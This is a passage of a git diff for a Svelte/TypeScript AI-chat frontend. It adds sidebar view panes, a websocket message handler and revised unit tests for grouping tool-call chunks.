+ computerManifest,
+ smartScrollManifest,
+ settingsManifest,
+ systemPromptManifest,
+ heartbeatManifest,
+ concurrencyManifest,
+ accountUsageManifest,
+ visionManifest,
+ namedAgentsManifest,
+ searchSettingsManifest,
+ ].map((m) => [m.name, m.description] as const);
+</script>
+
+<section>
+ <h3 class="mb-1 text-xs font-semibold uppercase opacity-60">Frontend modules</h3>
+ <Table columns={MODULE_COLUMNS} rows={loadedModules} />
+</section>
+<section class="mt-4 flex flex-col gap-3">
+ <h3 class="text-xs font-semibold uppercase opacity-60">Surfaces</h3>
+ {#each store.surfaces.filter((s) => s.id !== CACHE_WARMING_ID && s.id !== MESSAGE_QUEUE_ID && s.id !== TODO_ID) as spec (spec.id)}
+ <SurfaceView
+ {spec}
+ onInvoke={(msg) => store.invoke(msg.surfaceId, msg.actionId, msg.payload)}
+ />
+ {/each}
+</section>
diff --git a/src/app/views/HeartbeatPane.svelte b/src/app/views/HeartbeatPane.svelte
new file mode 100644
index 0000000..1bb2e86
--- /dev/null
+++ b/src/app/views/HeartbeatPane.svelte
@@ -0,0 +1,56 @@
+<script lang="ts">
+ /**
+ * The `heartbeat` view — workspace-scoped autonomous-agent heartbeat (config
+ * + run history) with the store adapters. Opening a RUN raises the chrome
+ * port: the run modal is app shell state (outside the tree — layout-00
+ * decision 2). Unkeyed; the config + runs are per-workspace (like today).
+ */
+ import {
+ HeartbeatView,
+ type HeartbeatConfigResult,
+ type HeartbeatNextRunResult,
+ type HeartbeatRunView,
+ type HeartbeatRunsResult,
+ type HeartbeatStopResult,
+ } from "../../features/heartbeat";
+ import type { AppViewPorts } from "../view-ports";
+
+ let { ports }: { ports: AppViewPorts } = $props();
+ const store = $derived(ports.store);
+
+ // Thin passthroughs (kept for structural consistency with cwd-lsp/mcp —
+ // AGENTS.md "contracts are the cross-unit surface").
+ async function loadHeartbeatConfig(): Promise<HeartbeatConfigResult> {
+ return store.heartbeatConfig();
+ }
+
+ async function saveHeartbeatConfig(
+ patch: Parameters<typeof store.setHeartbeatConfig>[0],
+ ): Promise<HeartbeatConfigResult> {
+ return store.setHeartbeatConfig(patch);
+ }
+
+ async function loadHeartbeatRuns(): Promise<HeartbeatRunsResult> {
+ return store.heartbeatRuns();
+ }
+
+ async function stopHeartbeatRun(runId: string): Promise<HeartbeatStopResult> {
+ return store.stopHeartbeatRun(runId);
+ }
+
+ async function loadHeartbeatNextRun(): Promise<HeartbeatNextRunResult> {
+ return store.heartbeatNextRun();
+ }
+</script>
+
+<HeartbeatView
+ models={store.models}
+ loadConfig={loadHeartbeatConfig}
+ saveConfig={saveHeartbeatConfig}
+ loadRuns={loadHeartbeatRuns}
+ stopRun={stopHeartbeatRun}
+ loadVariables={() => store.loadSystemPromptVariables()}
+ loadDefaultPrompt={() => store.loadSystemPrompt()}
+ loadNextRun={loadHeartbeatNextRun}
+ onOpenRun={(run) => ports.openHeartbeatRun(run)}
+/>
diff --git a/src/app/views/LspPane.svelte b/src/app/views/LspPane.svelte
new file mode 100644
index 0000000..5645ace
--- /dev/null
+++ b/src/app/views/LspPane.svelte
@@ -0,0 +1,24 @@
+<script lang="ts">
+ /**
+ * The `lsp` view — loaded language servers per conversation. Re-mounts per
+ * conversation (incl. draft) so the loaded server list is isolated (the
+ * {#key} moved inside the wrapper).
+ */
+ import { LspStatusView, type LspStatusResult } from "../../features/cwd-lsp";
+ import type { AppViewPorts } from "../view-ports";
+
+ let { ports }: { ports: AppViewPorts } = $props();
+ const store = $derived(ports.store);
+
+ async function loadLspStatus(): Promise<LspStatusResult | null> {
+ const result = await store.lspStatus();
+ if (result === null) return null;
+ return result.ok
+ ? { ok: true, cwd: result.response.cwd, servers: result.response.servers }
+ : { ok: false, error: result.error };
+ }
+</script>
+
+{#key store.currentConversationId}
+ <LspStatusView cwd={store.cwd} canView={true} load={loadLspStatus} />
+{/key}
diff --git a/src/app/views/McpPane.svelte b/src/app/views/McpPane.svelte
new file mode 100644
index 0000000..82e139d
--- /dev/null
+++ b/src/app/views/McpPane.svelte
@@ -0,0 +1,24 @@
+<script lang="ts">
+ /**
+ * The `mcp` view — loaded MCP servers per conversation. Re-mounts per
+ * conversation (incl. draft) so the loaded server list is isolated (the
+ * {#key} moved inside the wrapper).
+ */
+ import { McpStatusView, type McpStatusResult } from "../../features/mcp";
+ import type { AppViewPorts } from "../view-ports";
+
+ let { ports }: { ports: AppViewPorts } = $props();
+ const store = $derived(ports.store);
+
+ async function loadMcpStatus(): Promise<McpStatusResult | null> {
+ const result = await store.mcpStatus();
+ if (result === null) return null;
+ return result.ok
+ ? { ok: true, cwd: result.response.cwd, servers: result.response.servers }
+ : { ok: false, error: result.error };
+ }
+</script>
+
+{#key store.currentConversationId}
+ <McpStatusView cwd={store.cwd} canView={true} load={loadMcpStatus} />
+{/key}
diff --git a/src/app/views/MessageQueuePane.svelte b/src/app/views/MessageQueuePane.svelte
new file mode 100644
index 0000000..46b9a22
--- /dev/null
+++ b/src/app/views/MessageQueuePane.svelte
@@ -0,0 +1,40 @@
+<script lang="ts">
+ /**
+ * The `message-queue` view — pending steering messages, rendered via the
+ * generic SurfaceView (dispatches on rendererId, never surface id). The
+ * non-empty conditional moved INSIDE the view (decision 4): the tree's leaf
+ * always exists; an idle queue renders NOTHING.
+ */
+ import { SurfaceView } from "../../features/surface-host";
+ import { parseMessageQueuePayload } from "../../features/surface-host/logic/message-queue";
+ import type { AppViewPorts } from "../view-ports";
+
+ // The message-queue extension's per-conversation surface (steering). Pulled
+ // out of the generic Extensions list — pending steering messages are tied to
+ // the chat, not the sidebar.
+ const MESSAGE_QUEUE_ID = "message-queue";
+
+ let { ports }: { ports: AppViewPorts } = $props();
+ const store = $derived(ports.store);
+
+ // The surface spec + whether it currently has pending messages.
+ const messageQueueSpec = $derived(store.surface(MESSAGE_QUEUE_ID));
+ const hasQueuedMessages = $derived.by(() => {
+ const spec = messageQueueSpec;
+ if (spec === null) return false;
+ const field = spec.fields.find((f) => f.kind === "custom" && f.rendererId === MESSAGE_QUEUE_ID);
+ if (field === undefined || field.kind !== "custom") return false;
+ const data = parseMessageQueuePayload(field.payload);
+ return data !== null && data.messages.length > 0;
+ });
+</script>
+
+{#if hasQueuedMessages && messageQueueSpec !== null}
+ <div class="px-4 pt-2">
+ <SurfaceView
+ spec={messageQueueSpec}
+ onInvoke={(msg) => store.invoke(msg.surfaceId, msg.actionId, msg.payload)}
+ onCancelQueuedMessage={(messageId) => store.cancelQueuedMessage(messageId)}
+ />
+ </div>
+{/if}
diff --git a/src/app/views/ModelPane.svelte b/src/app/views/ModelPane.svelte
new file mode 100644
index 0000000..0344e47
--- /dev/null
+++ b/src/app/views/ModelPane.svelte
@@ -0,0 +1,131 @@
+<script lang="ts">
+ /**
+ * The `model` view — the model selector + the per-conversation
+ * reasoning-effort / cwd / computer controls, with the store adapters that
+ * used to live in App.svelte. The controls re-mount per workspace
+ * conversation (the {#key} moved inside the wrapper) so inputs can't bleed
+ * across tabs — editable for a draft too.
+ */
+ import {
+ ModelSelector,
+ ReasoningEffortSelector,
+ type ThinkingSelection,
+ type ThinkingSelectionSaveResult,
+ } from "../../features/chat";
+ import { CwdField, type CwdSaveResult } from "../../features/cwd-lsp";
+ import {
+ ComputerField,
+ type ComputerSaveResult,
+ type ComputerStatusResult,
+ type LoadComputerStatus,
+ type SaveComputer,
+ type TestComputer,
+ type TestComputerResult,
+ } from "../../features/computer";
+ import type { NamedAgentSelectionSnapshot } from "../../features/named-agents";
+ import type { AppViewPorts } from "../view-ports";
+
+ let { ports }: { ports: AppViewPorts } = $props();
+ const store = $derived(ports.store);
+
+ function handleSelectModel(model: string): void {
+ store.selectModel(model);
+ }
+
+ // A Named Agent selected in the model selector: resolve it to its raw model
+ // AND record the snapshot on the active conversation (plan §6/§7). The store
+ // persists the raw model to `/conversations/:id/model` + retains the snapshot
+ // on the tab.
+ function handleSelectNamedAgent(snapshot: NamedAgentSelectionSnapshot): void {
+ store.selectModel(snapshot.model, snapshot);
+ }
+
+ // Adapt the store's reasoning-effort + thinking results to the chat
+ // feature's combined selector port. The selector sends ONE selection ("off"
+ // or a level); the adapter fans it out to the right per-axis PUT(s). "off" is
+ // a SEPARATE signal from the effort level: it persists `thinking: false`
+ // (the umans route maps that to `reasoning_effort: "none"`), leaving the
+ // effort level untouched so an off→on toggle restores it. A level ensures
+ // thinking is ON (the level is meaningless while thinking is off) then sets
+ // the effort level.
+ async function saveThinkingSelection(
+ selection: ThinkingSelection,
+ ): Promise<ThinkingSelectionSaveResult | null> {
+ if (selection === "off") {
+ const result = await store.setThinking(false);
+ if (result === null) return null;
+ return result.ok
+ ? { ok: true, selection: "off" }
+ : { ok: false, error: result.error };
+ }
+ // A level: enable thinking first if it is currently off, then set the level.
+ if (store.thinking === false) {
+ const on = await store.setThinking(true);
+ if (on !== null && !on.ok) {
+ return { ok: false, error: on.error };
+ }
+ }
+ const result = await store.setReasoningEffort(selection);
+ if (result === null) return null;
+ return result.ok
+ ? { ok: true, selection: result.reasoningEffort }
+ : { ok: false, error: result.error };
+ }
+
+ async function saveCwd(cwd: string): Promise<CwdSaveResult | null> {
+ const result = await store.setCwd(cwd);
+ if (result === null) return null;
+ return result.ok ? { ok: true, cwd: result.cwd } : { ok: false, error: result.error };
+ }
+
+ async function saveComputer(computerId: string | null): Promise<ComputerSaveResult | null> {
+ const result = await store.setComputer(computerId);
+ if (result === null) return null;
+ return result.ok ? { ok: true, computerId: result.computerId } : { ok: false, error: result.error };
+ }
+
+ const loadComputerStatus: LoadComputerStatus = async (
+ alias: string,
+ ): Promise<ComputerStatusResult | null> => {
+ const result = await store.computerStatus(alias);
+ if (result === null) return null;
+ return result.ok ? { ok: true, status: result.response } : { ok: false, error: result.error };
+ };
+
+ const testComputer: TestComputer = async (
+ alias: string,
+ ): Promise<TestComputerResult | null> => {
+ const result = await store.testComputer(alias);
+ if (result === null) return null;
+ return result.ok ? { ok: true, response: result.response } : { ok: false, error: result.error };
+ };
+</script>
+
+<div class="flex flex-col gap-3">
+ <ModelSelector
+ models={store.models}
+ selected={store.activeModel}
+ onSelect={handleSelectModel}
+ modelInfo={store.modelInfo}
+ namedAgents={store.namedAgents}
+ namedAgentSnapshot={store.namedAgentSnapshot}
+ onSelectNamedAgent={handleSelectNamedAgent}
+ zeroProviders={store.enabledProviderCount === 0}
+ />
+ {#key store.currentConversationId}
+ <ReasoningEffortSelector
+ persistedEffort={store.reasoningEffort}
+ persistedThinking={store.thinking}
+ save={saveThinkingSelection}
+ />
+ <CwdField cwd={store.cwd} canEdit={true} save={saveCwd} />
+ <ComputerField
+ computerId={store.computerId}
+ canEdit={true}
+ computers={store.computers}
+ save={saveComputer}
+ loadStatus={loadComputerStatus}
+ test={testComputer}
+ />
+ {/key}
+</div>
diff --git a/src/app/views/NamedAgentsPane.svelte b/src/app/views/NamedAgentsPane.svelte
new file mode 100644
index 0000000..413141a
--- /dev/null
+++ b/src/app/views/NamedAgentsPane.svelte
@@ -0,0 +1,25 @@
+<script lang="ts">
+ /**
+ * The `named-agents` view — a global, collapsible sidebar view of curated
+ * presets. The store owns the list (authoritative for the model selector +
+ * agent tooling); the view drives CRUD via injected ports (auto-save).
+ * Unkeyed — the list is global (no {#key}, like today).
+ */
+ import {
+ NamedAgentsView,
+ type NamedAgentInput,
+ } from "../../features/named-agents";
+ import type { AppViewPorts } from "../view-ports";
+
+ let { ports }: { ports: AppViewPorts } = $props();
+ const store = $derived(ports.store);
+
+ // Adapt the store's Named Agent CRUD to the named-agents feature's ports.
+ const namedAgentPorts = {
+ create: (input: NamedAgentInput) => store.createNamedAgent(input),
+ update: (id: string, input: NamedAgentInput) => store.updateNamedAgent(id, input),
+ remove: (id: string) => store.deleteNamedAgent(id),
+ };
+</script>
+
+<NamedAgentsView agents={store.namedAgents} models={store.models} ports={namedAgentPorts} />
diff --git a/src/app/views/SettingsPane.svelte b/src/app/views/SettingsPane.svelte
new file mode 100644
index 0000000..f119103
--- /dev/null
+++ b/src/app/views/SettingsPane.svelte
@@ -0,0 +1,39 @@
+<script lang="ts">
+ /**
+ * The `settings` view — FE-local settings (the chat limit). Not
+ * conversation-scoped (no {#key}: the chat limit is global). A chat-limit
+ * RAISE refills the active chat (prepends older history) — the reader's
+ * viewport is preserved over the prepend via the chat viewport bridge
+ * (exactly like today's saveChatLimit).
+ */
+ import { tick } from "svelte";
+ import { ChatLimitField, type ChatLimitSaveResult } from "../../features/settings";
+ import { SearchBackendField } from "../../features/search-settings";
+ import type { AppViewPorts } from "../view-ports";
+
+ let { ports }: { ports: AppViewPorts } = $props();
+ const store = $derived(ports.store);
+
+ async function saveChatLimit(value: number): Promise<ChatLimitSaveResult> {
+ const el = ports.chatViewport.el;
+ const prevHeight = el?.scrollHeight ?? 0;
+ const prevTop = el?.scrollTop ?? 0;
+ const result = await store.setChatLimit(value);
+ await tick();
+ if (el) {
+ const delta = el.scrollHeight - prevHeight;
+ if (delta > 0) el.scrollTop = prevTop + delta;
+ }
+ return result.ok
+ ? { ok: true, chatLimit: result.chatLimit }
+ : { ok: false, error: result.error };
+ }
+</script>
+
+<div class="flex flex-col gap-3">
+ <ChatLimitField chatLimit={store.chatLimit} save={saveChatLimit} />
+ <SearchBackendField
+ load={() => store.searchBackendConfig()}
+ save={(backend) => store.setSearchBackend(backend)}
+ />
+</div>
diff --git a/src/app/views/SystemPromptPane.svelte b/src/app/views/SystemPromptPane.svelte
new file mode 100644
index 0000000..0fb5a11
--- /dev/null
+++ b/src/app/views/SystemPromptPane.svelte
@@ -0,0 +1,21 @@
+<script lang="ts">
+ /**
+ * The `system-prompt` view — a pointer to the global system-prompt template
+ * that opens the full-page modal editor (half template / half variable
+ * palette). The modal itself is CHROME (App shell state, outside the tree —
+ * layout-00 decision 2); this view only raises the port. Unkeyed (like
+ * today).
+ */
+ import type { AppViewPorts } from "../view-ports";
+
+ let { ports }: { ports: AppViewPorts } = $props();
+</script>
+
+<div class="flex flex-col gap-2">
+ <p class="text-xs opacity-60">
+ Edit the global system prompt template with variable placeholders. Opens a full-page editor.
+ </p>
+ <button type="button" class="btn btn-primary btn-sm" onclick={() => ports.openSystemPromptBuilder()}>
+ Open builder
+ </button>
+</div>
diff --git a/src/app/views/TabsPane.svelte b/src/app/views/TabsPane.svelte
new file mode 100644
index 0000000..4547e06
--- /dev/null
+++ b/src/app/views/TabsPane.svelte
@@ -0,0 +1,25 @@
+<script lang="ts">
+ /**
+ * The `tabs` view — the conversation tab list (moved out of the top bar into
+ * the sidebar). Re-mounts per workspace so the filtered tab set + scroll
+ * reset cleanly on a workspace switch (the {#key} moved inside the wrapper).
+ */
+ import { TabList } from "../../features/tabs";
+ import type { AppViewPorts } from "../view-ports";
+
+ let { ports }: { ports: AppViewPorts } = $props();
+ const store = $derived(ports.store);
+</script>
+
+{#key store.activeWorkspaceId}
+ <TabList
+ tabs={store.tabs}
+ activeConversationId={store.activeConversationId}
+ statusFor={(id) => store.conversationStatus(id)}
+ onSelect={(id) => store.selectTab(id)}
+ onClose={(id) => store.closeTab(id)}
+ onNewDraft={() => store.newDraft()}
+ onRename={(id, title) => store.renameTab(id, title)}
+ onSetTabGroup={(id, parentId) => store.setTabGroup(id, parentId)}
+ />
+{/key}
diff --git a/src/app/views/TasksPane.svelte b/src/app/views/TasksPane.svelte
new file mode 100644
index 0000000..6a375b3
--- /dev/null
+++ b/src/app/views/TasksPane.svelte
@@ -0,0 +1,29 @@
+<script lang="ts">
+ /**
+ * The `tasks` view — the todo extension's per-conversation task list
+ * (model-maintained, read-only). Re-mounts per conversation so the task list
+ * is isolated per conversation (the {#key} moved inside the wrapper).
+ * TodoList always reserves its fixed height (empty or full).
+ */
+ import TodoList from "../../features/surface-host/ui/TodoList.svelte";
+ import { parseTodoPayload } from "../../features/surface-host/logic/todo";
+ import type { AppViewPorts } from "../view-ports";
+
+ // The `todo` extension's per-conversation task list surface.
+ const TODO_ID = "todo";
+
+ let { ports }: { ports: AppViewPorts } = $props();
+ const store = $derived(ports.store);
+
+ const todoData = $derived.by(() => {
+ const spec = store.surface(TODO_ID);
+ if (spec === null) return null;
+ const field = spec.fields.find((f) => f.kind === "custom" && f.rendererId === TODO_ID);
+ if (field === undefined || field.kind !== "custom") return null;
+ return parseTodoPayload(field.payload);
+ });
+</script>
+
+{#key store.activeConversationId}
+ <TodoList payload={todoData} />
+{/key}
diff --git a/src/app/views/VisionPane.svelte b/src/app/views/VisionPane.svelte
new file mode 100644
index 0000000..5d53545
--- /dev/null
+++ b/src/app/views/VisionPane.svelte
@@ -0,0 +1,45 @@
+<script lang="ts">
+ /**
+ * The `vision` view — global vision settings (image-compaction limit +
+ * model) with the store adapters. Not conversation-scoped (no {#key}), so
+ * the settings stay mounted across tab switches (like today).
+ */
+ import {
+ VisionSettingsView,
+ type LoadVisionSettingsResult,
+ type SaveVisionSettingsResult,
+ type VisionSettingsPatch,
+ } from "../../features/vision";
+ import type { AppViewPorts } from "../view-ports";
+
+ let { ports }: { ports: AppViewPorts } = $props();
+ const store = $derived(ports.store);
+
+ // Adapt the store's global vision-settings API to the vision feature's ports.
+ async function loadVisionSettings(): Promise<LoadVisionSettingsResult> {
+ // The store seeds `visionSettings` on boot; a refresh keeps it current.
+ await store.refreshVisionSettings();
+ const settings = store.visionSettings;
+ if (settings === null) {
+ return { ok: false, error: "Vision settings not available." };
+ }
+ return { ok: true, settings };
+ }
+
+ async function saveVisionSettings(
+ patch: VisionSettingsPatch,
+ ): Promise<SaveVisionSettingsResult> {
+ const result = await store.setVisionSettings(patch);
+ if (result === null) return { ok: false, error: "Vision settings not available." };
+ return result.ok
+ ? { ok: true, settings: result.settings }
+ : { ok: false, error: result.error };
+ }
+</script>
+
+<VisionSettingsView
+ models={store.models}
+ modelInfo={store.modelInfo}
+ load={loadVisionSettings}
+ save={saveVisionSettings}
+/>
diff --git a/src/app/ws-handlers.ts b/src/app/ws-handlers.ts
new file mode 100644
index 0000000..e4fd916
--- /dev/null
+++ b/src/app/ws-handlers.ts
@@ -0,0 +1,216 @@
+import type {
+ ChatAcceptedMessage,
+ ChatDeltaMessage,
+ ChatErrorMessage,
+ ChatQueuedMessage,
+ ChatResyncRequiredMessage,
+ ChatSubscriptionRejectedMessage,
+ ConversationCompactedMessage,
+ ConversationOpenMessage,
+ ConversationStatusChangedMessage,
+ ConversationTabGroupChangedMessage,
+ ExtensionsChangedMessage,
+ LayoutChangedMessage,
+ TileLayoutChangedMessage,
+ WorkspaceSetMessage,
+} from "@dispatch/transport-contract";
+import type { SubscribeMessage } from "@dispatch/ui-contract";
+import type { SurfaceSocketHandle, SurfaceSocketOptions } from "../adapters/ws";
+import type { ConversationCache } from "../features/conversation-cache";
+import type { LayoutStore } from "../features/layout";
+import type { PluginsStore } from "../features/plugins";
+import type { TabsStore } from "../features/tabs";
+import type { TileLayoutStore } from "../features/workspaces";
+import type { ChatRegistry } from "./chat-registry.svelte";
+import type { OpenConversations } from "./open-conversations.svelte";
+import type { createPluginHost } from "./plugin-host.svelte";
+import type { createSettingsRefreshers } from "./settings-refreshers.svelte";
+import type { createSurfaceProtocol } from "./surface-protocol.svelte";
+
+/** Typed socket callbacks over explicitly injected app-owned instances. */
+export function createWsHandlers(deps: {
+ url: string;
+ send: SurfaceSocketHandle["send"];
+ registry: ChatRegistry;
+ conversations: OpenConversations;
+ surfaces: ReturnType<typeof createSurfaceProtocol>;
+ cache: ConversationCache;
+ tabsStore: TabsStore;
+ activeWorkspaceId: () => string;
+ workspaceSetMsg: (workspaceId: string) => WorkspaceSetMessage;
+ pluginsStore: PluginsStore;
+ pluginHost: ReturnType<typeof createPluginHost>;
+ layoutStore: LayoutStore;
+ tileLayoutStore: TileLayoutStore;
+ refreshers: ReturnType<typeof createSettingsRefreshers>;
+ reportError: (context: string, err: unknown) => void;
+}): SurfaceSocketOptions {
+ const {
+ registry,
+ conversations,
+ surfaces,
+ cache,
+ tabsStore,
+ pluginsStore,
+ pluginHost,
+ layoutStore,
+ tileLayoutStore,
+ } = deps;
+ function handleChatMessage(
+ msg:
+ | ChatAcceptedMessage
+ | ChatSubscriptionRejectedMessage
+ | ChatDeltaMessage
+ | ChatErrorMessage
+ | ChatQueuedMessage
+ | ChatResyncRequiredMessage,
+ ): void {
+ let targetId: string | undefined;
+ if (msg.type === "chat.delta") {
+ targetId = msg.event.conversationId;
+ } else {
+ targetId = msg.conversationId;
+ }
+
+ if (targetId !== undefined) {
+ const store = registry.chatStores.get(targetId) ?? registry.watchStores.get(targetId);
+ if (store !== undefined) {
+ store.handleDelta(msg);
+ return;
+ }
+ }
+
+ if (
+ msg.type === "chat.accepted" ||
+ msg.type === "chat.subscription-rejected" ||
+ msg.type === "chat.queued" ||
+ msg.type === "chat.resync-required"
+ )
+ return;
+
+ // fallback: try all stores (chat.error without conversationId)
+ for (const store of registry.chatStores.values()) {
+ store.handleDelta(msg);
+ }
+ for (const store of registry.watchStores.values()) {
+ store.handleDelta(msg);
+ }
+ }
+
+ return {
+ url: deps.url,
+ onMessage: surfaces.handleServerMessage,
+ onChat: handleChatMessage,
+ onConversationOpen(msg: ConversationOpenMessage): void {
+ conversations.openConversation(
+ msg.conversationId,
+ msg.workspaceId,
+ msg.model,
+ msg.tabGroupParentId,
+ );
+ },
+ onConversationTabGroupChanged(msg: ConversationTabGroupChangedMessage): void {
+ // Another client (or this one, echoed) regrouped a tab — apply the
+ // authoritative EFFECTIVE value. Unknown tabs are a reducer no-op.
+ tabsStore.setTabGroupParent(msg.conversationId, msg.tabGroupParentId);
+ },
+ onConversationStatusChanged(msg: ConversationStatusChangedMessage): void {
+ const { conversationId, status, workspaceId } = msg;
+ if (status === "closed") {
+ // Closed on another device (or the backend) — remove the tab locally.
+ if (registry.chatStores.has(conversationId)) {
+ conversations.removeTabLocally(conversationId);
+ }
+ return;
+ }
+ // active / queued / idle — update the status map (drives the tab spinner).
+ // `queued` = the turn is in flight but waiting for a concurrency slot
+ // (broadcast-only, never persisted — CR-13); the tab shows a ring.
+ conversations.conversationStatuses = new Map(conversations.conversationStatuses).set(
+ conversationId,
+ status,
+ );
+ // Reconcile the already-open tab's workspace from this authoritative
+ // lifecycle event (the payload workspace is the conversation's actual
+ // persisted workspace). A raced `conversation.open` may have stamped the
+ // wrong workspace ("default") — correct it here.
+ if (
+ registry.chatStores.has(conversationId) &&
+ (tabsStore.tabs.find((t) => t.conversationId === conversationId)?.workspaceId ??
+ workspaceId) !== workspaceId
+ ) {
+ tabsStore.setWorkspaceId(conversationId, workspaceId);
+ }
+ // If this is a new active OR queued conversation we don't have a tab for,
+ // open one — so a cross-device turn (incl. one waiting in the concurrency
+ // queue) is visible. `idle` never opens a tab.
+ if (
+ (status === "active" || status === "queued") &&
+ !registry.chatStores.has(conversationId)
+ ) {
+ conversations.openConversation(conversationId, workspaceId);
+ }
+ },
+ onConversationCompacted(msg: ConversationCompactedMessage): void {
+ const cid = msg.conversationId;
+ const store = registry.chatStores.get(cid) ?? registry.watchStores.get(cid);
+ if (store && registry.loadedConversationIds.has(cid)) {
+ store.resync(msg.historyEpoch);
+ } else {
+ store?.invalidateHistory(msg.historyEpoch);
+ // Unseen conversations stay lazy. Invalidation is queued before their
+ // next load; epoch-guarded commits reject any older in-flight response.
+ void cache
+ .reset(cid, msg.historyEpoch)
+ .catch((err) => deps.reportError("Failed to reset conversation cache", err));
+ }
+ },
+ onReopen() {
+ // The server forgot our subscriptions on reconnect; re-send each with the
+ // conversation it was subscribed under (protocolSubscribe would no-op since
+ // they're still in our local map, so emit the wire messages directly).
+ for (const [surfaceId, sub] of surfaces.protocol.subscriptions) {
+ const msg: SubscribeMessage =
+ sub.conversationId === undefined
+ ? { type: "subscribe", surfaceId }
+ : { type: "subscribe", surfaceId, conversationId: sub.conversationId };
+ deps.send(msg);
+ }
+ // A reconnect is a NEW connection — the server forgot this client's
+ // workspace too. Re-declare it so the re-pushed catalog is filtered
+ // (plan 06 §6.4).
+ deps.send(deps.workspaceSetMsg(deps.activeWorkspaceId()));
+ registry.reconnect();
+ void conversations.fetchOpenConversations();
+ },
+ onExtensionsChanged(_msg: ExtensionsChangedMessage) {
+ // §11 multi-client coherence: another client (or this one) mutated the
+ // plugin set. Refetch the plugin list (+ any open workspace modal view),
+ // the workspace-scoped model catalog, and the provider guardrail. The
+ // surface catalog is NOT refetched here — the server re-pushes it
+ // (workspace-filtered) on the same broadcast.
+ pluginsStore.onExtensionsChanged();
+ // Frontend plugins (plan 03): the load lifecycle's extensions-changed
+ // trigger — newly-loaded/enabled frontend plugins import + activate;
+ // unloaded/disabled ones are swept (their tiles fall back).
+ void pluginHost.sync();
+ // A layout plugin enabled/disabled mid-session starts/stops serving —
+ // the probe picks the new provider state up without a reload (§2.6).
+ void layoutStore.probe(deps.activeWorkspaceId());
+ void deps.refreshers.refreshModels();
+ void deps.refreshers.refreshProviderStatus();
+ },
+ onLayout(msg: LayoutChangedMessage) {
+ // §2.5 multi-client coherence: a layout write on ANY client (or a
+ // plugin's op) re-renders here — the store filters non-active
+ // workspaces (the server fans out to everyone).
+ layoutStore.onServerTree(msg.workspaceId, msg.tree);
+ },
+ onTileLayout(msg: TileLayoutChangedMessage) {
+ // Multi-client coherence for the home grid's synced layouts: a write
+ // on ANY client re-renders here — the store filters the OTHER
+ // orientation (the server fans out to everyone).
+ tileLayoutStore.onServerTileLayout(msg.mode, msg.data);
+ },
+ };
+}
diff --git a/src/core/chunks/groups.test.ts b/src/core/chunks/groups.test.ts
index c8b0fa2..1196590 100644
--- a/src/core/chunks/groups.test.ts
+++ b/src/core/chunks/groups.test.ts
@@ -3,16 +3,16 @@ import { describe, expect, it } from "vitest";
import { groupRenderedChunks } from "./groups";
import type { RenderedChunk } from "./types";
-const text = (seq: number, role: Role, t: string, provisional = false): RenderedChunk => ({
+const text = (seq: number, role: Role, t: string): RenderedChunk => ({
seq,
role,
chunk: { type: "text", text: t },
- provisional,
+ provisional: false,
});
-
const call = (seq: number, id: string, stepId?: string, provisional = false): RenderedChunk => ({
seq,
role: "assistant",
+ provisional,
chunk: {
type: "tool-call",
toolCallId: id,
@@ -20,12 +20,11 @@ const call = (seq: number, id: string, stepId?: string, provisional = false): Re
input: { id },
...(stepId !== undefined ? { stepId: stepId as StepId } : {}),
},
- provisional,
});
-
const result = (seq: number, id: string, stepId?: string, provisional = false): RenderedChunk => ({
seq,
role: "tool",
+ provisional,
chunk: {
type: "tool-result",
toolCallId: id,
@@ -34,92 +33,142 @@ const result = (seq: number, id: string, stepId?: string, provisional = false):
isError: false,
...(stepId !== undefined ? { stepId: stepId as StepId } : {}),
},
- provisional,
});
+function toolGroups(rows: readonly RenderedChunk[]) {
+ return groupRenderedChunks(rows).map((g) => {
+ if (g.kind !== "tool") throw new Error("expected a tool group");
+ return g;
+ });
+}
+
describe("groupRenderedChunks", () => {
it("returns no groups for an empty stream", () => {
expect(groupRenderedChunks([])).toEqual([]);
});
-
- it("passes non-tool chunks through as single groups, in order", () => {
- const groups = groupRenderedChunks([text(1, "user", "hi"), text(2, "assistant", "hello")]);
- expect(groups).toHaveLength(2);
- expect(groups.every((g) => g.kind === "single")).toBe(true);
- });
-
- it("does NOT batch a single tool call (one per step) — call+result stay separate singles", () => {
- const groups = groupRenderedChunks([call(1, "a", "s1"), result(2, "a", "s1")]);
- expect(groups).toHaveLength(2);
- expect(groups.map((g) => g.kind)).toEqual(["single", "single"]);
+ it("passes non-tool chunks through unchanged and in order", () => {
+ const rows = [text(1, "user", "hi"), text(2, "assistant", "hello")];
+ expect(groupRenderedChunks(rows)).toEqual(rows.map((chunk) => ({ kind: "single", chunk })));
});
-
- it("does NOT batch tool calls that have no stepId (pre-0.2.0 replay)", () => {
- const groups = groupRenderedChunks([
- call(1, "a"),
- call(2, "b"),
- result(3, "a"),
- result(4, "b"),
+ it("pairs a single call and result into one group", () => {
+ const c = call(1, "a", "s1");
+ const r = result(2, "a", "s1");
+ expect(toolGroups([c, r])).toEqual([
+ {
+ kind: "tool",
+ entry: { toolCallId: "a", toolName: "tool-a", call: c.chunk, result: r.chunk },
+ stepId: "s1",
+ provisional: false,
+ },
]);
- expect(groups).toHaveLength(4);
- expect(groups.every((g) => g.kind === "single")).toBe(true);
});
-
- it("batches 2+ calls sharing a stepId into one group, pairing each with its result", () => {
- const groups = groupRenderedChunks([
+ it("renders parallel calls independently in call order, with out-of-order results", () => {
+ const groups = toolGroups([
call(1, "a", "s1"),
call(2, "b", "s1"),
- result(3, "a", "s1"),
- result(4, "b", "s1"),
+ result(3, "b", "s1"),
+ result(4, "a", "s1"),
]);
- expect(groups).toHaveLength(1);
- const g = groups[0];
- if (g?.kind !== "tool-batch") throw new Error("expected a tool-batch group");
- expect(g.stepId).toBe("s1");
- expect(g.entries).toHaveLength(2);
- expect(g.entries[0]?.call.toolCallId).toBe("a");
- expect(g.entries[0]?.result?.content).toBe("result-a");
- expect(g.entries[1]?.call.toolCallId).toBe("b");
- expect(g.entries[1]?.result?.content).toBe("result-b");
+ expect(groups.map((g) => g.entry.toolCallId)).toEqual(["a", "b"]);
+ expect(groups.map((g) => g.entry.result?.content)).toEqual(["result-a", "result-b"]);
});
-
- it("positions the batch at the first call and keeps surrounding chunks in order", () => {
+ it("pairs legacy chunks without stepId and mismatching stepIds by toolCallId", () => {
+ const groups = toolGroups([
+ call(1, "a"),
+ result(2, "a"),
+ call(3, "b", "s1"),
+ result(4, "b", "s2"),
+ ]);
+ expect(groups).toHaveLength(2);
+ expect(groups[0]?.entry.result).not.toBeNull();
+ expect(groups[1]?.stepId).toBe("s1");
+ });
+ it("keeps surrounding text at its position and absorbs results", () => {
const groups = groupRenderedChunks([
text(1, "assistant", "before"),
